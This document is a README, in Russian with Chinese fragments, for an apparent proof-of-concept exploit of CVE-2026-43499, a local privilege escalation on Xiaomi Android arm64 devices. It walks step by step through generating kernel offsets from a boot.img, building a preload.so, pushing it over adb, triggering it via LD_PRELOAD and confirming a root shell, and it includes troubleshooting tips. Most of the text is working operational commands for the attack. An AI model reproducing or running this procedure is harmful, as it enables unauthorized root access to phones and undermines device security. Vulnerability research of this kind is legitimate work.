
Анализ уязвимости и Proof of Concept (PoC) для CVE-2026-43499, затрагивающей устройства Xiaomi. Только для образовательных и исследовательских целей.
English | 中文
Это проект адаптации локального повышения привилегий для Android arm64, использующий CVE-2026-43499.
Проект генерирует target.h на основе boot.img целевого устройства и информации из profile, после чего компилирует соответствующий preload.so.
Примечание: этот проект является универсальной адаптационной платформой и не привязан к конкретной модели устройства. Реальная работоспособность определяется тем, сможет ли
generate_target.pyуспешно сгенерироватьtarget.h, а также результатами тестирования на реальном устройстве.
项目目录/
├── boot.img # образ boot той же прошивки целевого устройства
├── profile_xxx.json # profile целевого устройства
├── detect_offset.py # используется для определения profile
├── generate_target.py # генерирует target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # создаётся автоматически
└── source/build/bin/
└── preload.so # результат сборки
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
Для Windows рекомендуется использовать:
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
Установка make в MSYS2:
pacman -S make coreutils
Вам необходимо подготовить:
boot.img
profile_xxx.json
Пример profile:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Эти два адреса из profile:
p0_phys_offset
p0_kernel_phys_load
можно получить, запустив скрипт на уже Root-устройстве с той же прошивкой, что и целевой boot.img:
python3 detect_offset.py
На Windows также можно:
python detect_offset.py
Linux / macOS:
cd /path/to/project
Пример для Windows MSYS2:
cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main
Пример для Linux / macOS:
export ANDROID_NDK_HOME=/path/to/android-ndk
Пример для Windows MSYS2:
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python3 generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
Если на Windows python3 недоступен, используйте:
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
Если выводится сообщение о том, что llvm-objdump не найден, укажите путь вручную:
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h \
--llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
В случае успеха вы увидите нечто вроде:
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
В случае успеха будет создан файл:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
Проверка:
adb shell '/data/local/tmp/su -c id'
В случае успеха обычно выводится:
uid=0(root) gid=0(root)
Пример с вашими путями:
cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64
Итоговый файл:
source/build/bin/preload.so
Установите LLVM или используйте:
--llvm-objdump "/path/to/llvm-objdump"
На Windows установите через MSYS2:
pacman -S make coreutils
Обычно это означает, что путь к NDK настроен неправильно.
Пример для Windows MSYS2:
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
Обычно это означает, что текущий boot.img или раскладка ядра ещё не адаптированы.
Проверьте следующее:
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF
target.h.target.h не рекомендуется редактировать вручную — он должен создаваться автоматически с помощью generate_target.py.